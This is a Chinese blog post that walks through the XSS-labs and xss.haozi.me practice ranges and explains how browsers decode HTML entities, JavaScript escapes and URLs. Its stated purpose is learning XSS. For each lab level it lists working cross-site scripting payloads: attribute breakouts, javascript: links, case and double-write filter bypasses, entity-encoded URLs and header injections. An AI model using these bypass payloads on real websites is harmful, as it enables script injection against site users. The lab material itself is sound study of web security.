XSSlabs靶场以及通过浏览器编码深入xss绕过

最新推荐文章于 2024-10-16 16:26:58 发布
最新推荐文章于 2024-10-16 16:26:58 发布
阅读量742 收藏 1
点赞数
文章标签： xss javascript 前端
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_63303407/article/details/127222419
版权

title: XSS
categories:

  • XSS
    abbrlink: 2700
    date: YYYY-MM-DD HH:mm:ss
    tags:
  • XSS
  • 靶场

1

XSStrike

XSSlabs靶场

payload

?name=<script>alert(/1/)</script>
?keyword="><script>alert(/1/)</script>//
?keyword='onfocus=javascript:alert('xss')>//&submit=搜索
?keyword="onfocus=javascript:alert('xss')>//&submit=搜索
?keyword="> <a href=javascript:alert('xss') > xss</a> //&submit=搜索
?keyword="><scRipt>alert(/1/)</scRipt>//&submit=搜索
?keyword="><scscriptript>alert(/1/)</scscriptript>//&submit=搜索
?keyword=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;&submit=添加友情链接
?keyword=&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x27;&#x78;&#x73;&#x73;&#x27;&#x29;&submit=添加友情链接
?keyword=&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x27;&#x78;&#x73;&#x73;&#x27;&#x29;//http://wwww.baidu.com&submit=添加友情链接
?t_link=&t_history=&t_sort="onfocus=javascript:alert('xss') > //
referer:"type="text" onclick="alert('xss')
User-Agent: "type="text" onclick="alert('xss')
Cookie: user="type="text" onclick="alert('xss')

无过滤xss

可以看到有高亮提示xss

image-20220405140826356

image-20220405141201800

工具也扫到了

image-20220405141240660

发现参数传递到了<h2 这里>

简单语句试一下

<script>alert(/1/)</script>

image-20220405141409560

我们看看他是怎么执行的呢

image-20220405141506775

发现是将代码直接替换进去,导致替换进去的字符当成js代码执行了

代码段也可以看到,直接将name替换进去了

image-20220405141657542

这里并没有写入数据库,所以就是一个客户端的一个反射型xss.危害并不大,说白了就是用户自己玩的.

闭合input属性

image-20220405142021883

可见这里传入的值放到了<h2这里</h2>,不过这是没有影响的,我们尝试一下上一关的语句

image-20220405142827001

发现没有弹窗

image-20220405142833827

可以发现这里也是对<>进行了转义处理.猜测在服务器端用htmlspecialchars()函数对keyword参数的值进行了处理。

但是往下看一下,有一个value的值并没有被转义处理.这样我们是不是可以尝试着闭合一下value呢

<input name=keyword  value="<script>alert(/1/)</script>">
<input name=keyword  value=""><script>alert(/1/)</script>//">

image-20220405142805537

这里左边的">闭合input右边//注释后面的

image-20220405143201906

这是扫到的几个

input标签属性

这里也都是用了htmlspecialchars()函数进行了处理

那么可以通过input标签的特殊事件来执行js但

<input name=keyword  value='&lt;script&gt;alert(/1/)&lt;/script&gt;'>
<input name=keyword  value=''onfocus=javascript:alert('xss') > //'>

image-20220405144008647

这里需要点击一下搜索框才能触发

onfocus 事件在对象获得焦点时发生。
onfocus 通常用于 <input>, <select>, 和<a>.

image-20220405144256072

这里工具也是没有扫出来的,原因是没有’进行闭合的payload

input标签属性

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PFRLmblD-1665283225887)(C:/Users/14980/AppData/Roaming/Typora/typora-user-images/image-20220405144512970.png)]

可以看到上面是转义,下面是将<>去掉了.这里也是使用上一关的直接过

<input name=keyword  value=""onfocus=javascript:alert('xss') > //">

image-20220405150443044

herf属性

image-20220405150031018

这里也是可以看到是对script这个字符进行的处理

image-20220405150145238

换一个标签继续执行

<input name=keyword  value=""> <a href=javascript:alert('xss') > xss</a> //">

image-20220405150314765

点击链接就执行

image-20220405150458424

第五关也没扫到

大小写绕过

image-20220405150704646

大小写绕过就好

<input name=keyword  value=""><scRipt>alert(/1/)</scRipt>//">

image-20220405151053140

双写绕过

image-20220405151158554

"><scscriptript>alert(/1/)</scscriptript>//

image-20220405152217691

可见这里payload也没有双写的

html编码

image-20220405151732354

双写替换都不成

image-20220405151819997

将我们要提交的进行unicode编码试试

html10编码

image-20220405152051856

html16编码

image-20220405152147720

两个都可以

image-20220405152300235

也没有html编码的

格式判断

image-20220405152520098

可见对url进行了判断,所以只要构造一个合理的url就ok

javascript:alert('xss')//http://wwww.baidu.com

&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x27;&#x78;&#x73;&#x73;&#x27;&#x29;//http://wwww.baidu.com

两个中间的是//注释符哦不然会影响alert执行的

第八关都没扫到,第九关肯定也扫不到

hidden属性

image-20220405153301126

image-20220405153308358

没有了value,但是多了三个hidden的值

image-20220405153348663

这里也可以看到有过滤,而且只有t_sort有值传入,所以可以让他显示就好

image-20220405153506757

把这个hidden去掉就好.记得点的时候也要在去掉hidden哦

"onfocus=javascript:alert('xss') > //

image-20220405153656228

当然聪明的你在地址栏直接输也可以

image-20220405154459183

reffer构造

image-20220405154016445

image-20220405154033684

image-20220405154620614

简单构造下

image-20220405154642803

ua构造

image-20220405154834290

image-20220405154857918

cookie构造

image-20220405155104420

xss靶场练习xss.haozi.me

无过滤在div之间

<div><script>alert(/1/)</script></div>

image-20220415220125233

无过滤在textarea之间

</textarea><script>alert(/1/)</script><textarea>

进行前后闭合

image-20220415220333373

</textarea><img src="" onerror=alert(/1/)>

通过错误事件,因为src是不存在的所以当产生错误之后就会执行alert(/1/)

image-20220415220540314

无过滤注入在字符串内

"><script>alert(/1/)</script>

image-20220415220714666

过滤([])括号和方括号

<script>alert`1`</script>

反引号来代替

image-20220415220958426

通过浏览器编码深入xss绕过

基本概念

html编码(字符实体)

字符实体是一个预先定义好的转义序列.字符实体有两种表示方法:

  1. 字符实体以&开头+预先定义的实体名称+;分号结束,如"<"的实体名称为&lt;
  2. 字符实体还以以&开头+#符号+字符在ascii对应的十进制数字+;分号结束,如<的字符实体编码时&#60;

字符都是有实体编号的,但是有的字符是没有实体名称

image-20220415222905027

javascript编码

最常用的,如\uxxxx这种写法的unicode转义序列,表示一个字符,其中xxxx表示一个16进制的数字,如<的unicode编码为\u003c

url编码

RFC3986文档中规定,url中只允许包含英文字母(a-zA-Z) 数字(0-9) -_.~四个特殊字符以及所有保留字符RFC3986中指定以下字符为保留字符 ! * ’ ( ) ; : @ & = + $ , / ? # [ ]

编码方式 %加字符在ascii码表中的十六进制只. / 在ascii中十六进制为0x2f,那么它对应的url编码为%2f

javascript中提供了3个函数用来对url编码以得到合法的url

  1. escape()
  2. encodeURL()
  3. encodeURLComponent()

浏览器编码解码规则

image-20220415223618303

浏览器无论什么情况下都会遵守一个这样的解码规则

  1. html解析器对html文档进行解析,完成html解码并且创建dom树
  2. javascript或者css解析器对内联脚本进行解析,完成js css解码
  3. url解码会根据url所在的顺序不同而在js解码前或者解码后

html解析器

html中有五类元素

  1. 空元素(void elements),有area base br col command embed hr img input keygen link meta param source track wbr
  2. 原始文本元素(Raw text elements) 有<script>和<style>
  3. RCDATA元素(RCDATA elements) 有<textarea>和<title>
  4. 外部元素(Foreign elements) 例如mathml命名空间或者svg命名空间的元素
  5. 基本元素(normal elements) 即除了以上四种元素以外的元素

五类元素的区别

  1. 空元素,不能容纳任何内容(因为他们没有闭合标签,没有内容能够放在开始标签和闭合标签中间)
  2. 原始文本元素,可以容纳文本
  3. RCDATA元素,可以容纳文本和字符引用
  4. 外部元素,可以容纳文本 字符引用CDTATA段 其他元素和注释
  5. 基本元素,可以容纳文本 字符引用 其他元素和注释

html解析器以状态机的方式运行,它从文档输入流中消耗字符并根据其转换规则转换到不同的状态

image-20220415224659355

<html>
 <body>
   Hello world
 </body>
</html>
  1. 初始状态为 data state, 当遇到 < 字符 ,状态变为 tag open state ,读取一个a-z的字符将产生一个开始标签符号,状态相应变为, tag name state 一直保持这个状态直到读取到了 >, 每一个字符都附加到这个符号名上,例子中创建的是一个html符号
  2. 当读取到> 当前的符号就完成了,此时,状态回到了datastate, <body>重复这一处理过程.到这里,html和body标签都识别出来了.现在,回到data state,读取hellowrld中的字符h将创建

https://mp.weixin.qq.com/s/liODgY4NjYqdWg3JgPXMdA

wanan0red
关注
第04篇：XSS三重URL编码绕过实例1
08-03
本文主要探讨了一个XSS三重URL编码绕过的实例，揭示了在某些情况下，简单的防御措施可能不足以阻止攻击。 首先，我们要理解XSS的基本概念。XSS攻击通常发生在Web应用程序未能正确过滤或转义用户输入的情况下。当...
Hidden属性的input标签中XSS的触发方法
一生无悔惜缘的博客
08-18 8912
今天看到一个XSS漏洞，插入点在一个有hidden 属性的input 标签，大致情况如下： input type="hidden" name="returnurl" value="[USER INJECT]" />11 正常情况下的XSS应当是： http://victim/?value=” onclick=”alert(document.domain) 但是这里由于该
隐藏参数中的XSS
qq_43776408的博客
07-29 637
HTML表单隐藏 burp抓包测试 抓包发现 即便是hidden属性的值 在抓到包之后也能看到值 值为hackme 第四关 第四关的题和第三关表面看一样 HTML的svg介绍 闭合触发XSS 第一个双引号是为了闭合前面的引号 %0a个人感觉是换行的 感觉和下面的和svg没关系啊 你直接找hidden 找打了hidden就用这一篇讲的方法 你可以现在burp中对p1和p2参数进行测试 直接写入代码 发现不行 第三关对p1参测试不可以 但是第三关对p2参数测试可以 现在是对p1和p2测试都不可以 都把
XSS构造与防御
幸福女孩小鲤鱼的博客
11-01 2545
XSS原理 XSS构造方法 https://blog.csdn.net/qq_33605106/article/details/79758230 http://www.freebuf.com/column/153458.html xss &amp;amp;lt;script&amp;amp;gt; &amp;amp;#10;XSS防御措施 https://blog.csdn.net/strike2206/article/details/...
【应用安全——XSS】input-hidden
Fly_鹏程万里
02-22 841
1、使用expression突破 &lt;input type=hidden style="x:expression(alert(/xss/))"&gt; 直接利用CSS的expression属性来实现突破，此技巧适用于IE6及以下的浏览器。 2​、使用accesskey突破 &lt;input type="hidden" accesskey="X" onclick="alert(/x...
PHP、Apache环境中部署xsslabs（XSS跨站脚本攻击靶场）
01-08
PHP、Apache环境中部署xsslabs（XSS跨站脚本攻击靶场） PHP与Apache环境中部署xsslabs（XSS跨站脚本攻击靶场）是开发者和安全测试人员进行XSS攻击练习的重要环境。xsslabs是一款开源的XSS 漏洞靶场工具，由PHP代码...
XSSBypass:XSS绕过技术
05-17
**XSS（跨站脚本攻击）Bypass：探索XSS绕过技术** XSS（Cross-Site Scripting）是一种常见的网络安全漏洞，它允许攻击者在用户的浏览器中注入恶意脚本，进而执行非授权的操作。当Web应用程序未能充分地验证和转义...
WEB渗透学习-XSS-labs靶场
04-20
4. **XSS过滤与绕过**：靶场会设置一些过滤机制，防止恶意脚本执行。学习者需要了解常见的过滤规则，如HTML实体编码、JavaScript事件禁用等，并尝试绕过这些防护措施。 5. **XSS防御策略**：除了攻击，XSS-labs也会...
xss漏洞简析（干货）
Haowill的博客
06-23 4990
xss漏洞 获取cookie： 指向其他url： HTML事件触发XSS：<svg onload/οnclick=“alert(document.domain);”> javascript伪协议：javascript:alert(document.domain); 列： xss漏洞介绍 跨站脚本攻击（cross site scripting），缩写xss 恶意攻击者往web页面里插入script代码，当用户浏览该页面时，嵌入到其中web页面的script代码就会执行，从而达到恶意攻击者攻击用
不可见（hidden）input标签触发XSS
weixin_33963594的博客
12-29 1192
在寻找XSS的过程中，会发现从POST或者URL中参数拿到INPUT中存放，但这些input都是hidden不可见的，通过F12调试，查看构造出来的代码确实存在点击事件，但是总是触发不了 通过网上查询资料，最总找到使用一个比较高级一点属性accesskey=""来触发不可见标签事件,accesskey是HTML语言标签中的一个全局属性 <input type="hidden" name="...
跨站脚本（XSS）攻击示例概念验证
A Little Bean
10-14 365
在跨站脚本（XSS）攻击中，有效负载是指希望在目标计算机上执行的JavaScript代码。有效负载由两个部分组成：意图和修改。意图是指你希望JavaScript实际执行的操作，而修改则是针对不同场景所需的代码更改。
Web打点与WAF绕过技术具体实例（接上一篇）包含SQL注入绕过WAF、XSS绕过WAF、文件包含漏洞、命令注入
xixixi7777的博客
10-12 916
为了更好地理解和应用上一篇的Web打点与WAF绕过技术，本篇将通过具体示例进行详细说明。每个示例将在前面介绍的技术基础上，展示如何在实际场景中操作。
npm 和 npx 的区别和使用场景
Dou_Hua6的博客
10-09 773
自动下载和缓存：如果本地未安装所需包，npx会自动下载并执行，执行完毕后可以选择保留或删除。脚本运行：通过package.json中的scripts字段定义和运行自定义脚本。依赖管理：管理项目的dependencies和devDependencies。简化命令行工具的使用：临时执行命令，避免全局安装带来的版本冲突或污染。npm 全称：Node Package Manager。发布包：将自己的包发布到npm注册表供他人使用。：无需全局安装即可运行npm包中的可执行文件。
【JavaScript】移动色块案例 实现一个可以拖动并且在拖动过程中会自动改变颜色的色块（JS 事件监听器）
m0_66584716的博客
10-11 1348
- **移动色块**：用户可以通过鼠标按住并拖动页面上的红色方块（`#blocks`）。当用户按下鼠标左键时，色块开始跟随鼠标的移动而移动；当用户释放鼠标左键时，色块停止移动。 - **显示当前位置**：随着色块的移动，其当前的屏幕坐标（相对于浏览器窗口）会被实时更新，并显示在页面底部左侧的位置显示区域（`#positionDisplay`）中。 - **自动变色**：一旦用户开始拖动色块，系统就会每隔300毫秒随机改变一次色块的颜色。颜色的变化是通过调用 `getRandomColor()` 函数生成一个
ECMAScript标准解析及其发展历史与技术演进
qq_20245171的博客
10-15 669
ECMAScript（简称ES）是由ECMA国际（欧洲计算机制造商协会）制定的一种脚本语言规范。它是JavaScript、JScript等语言的基础，并为现代Web开发提供了强大的支持。ECMAScript标准不仅定义了语言的语法和语义，还涵盖了数据类型、对象模型和执行环境等内容，极大推动了JavaScript语言的发展。本文将全面介绍ECMAScript标准的起源、各个版本的演变、关键特性以及未来趋势，深入探讨其对Web开发及编程语言设计的影响。
Element-plus el-form、el-dialog 数据回显同时用时，重置失效问题
Mr. Zhang Xiaojian's Blog
10-12 563
当第一次打开网页并点击“编辑”按钮时，虽然对话框变量变为 true 使对话框可见，但同步代码会将 formData 对象的属性设置为默认值。由于 Vue 的异步更新机制，DOM 实际上还未更新，因此表单组件内绑定了这些有值的初始数据。这样，在后续调用 resetFields 方法时，表单将会重置为这些默认值而不是空值。编辑时表单的初始值被设置成了回显的数据，而不是空字符串。时，表单会回到上次设置的初始值，即回显的数据。
基于Java微信小程序的水果销售系统详细设计和实现(源码+lw+部署文档+讲解等)
最新发布
源码好优多
10-16 712
请联系我获取更详细的演示视频。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值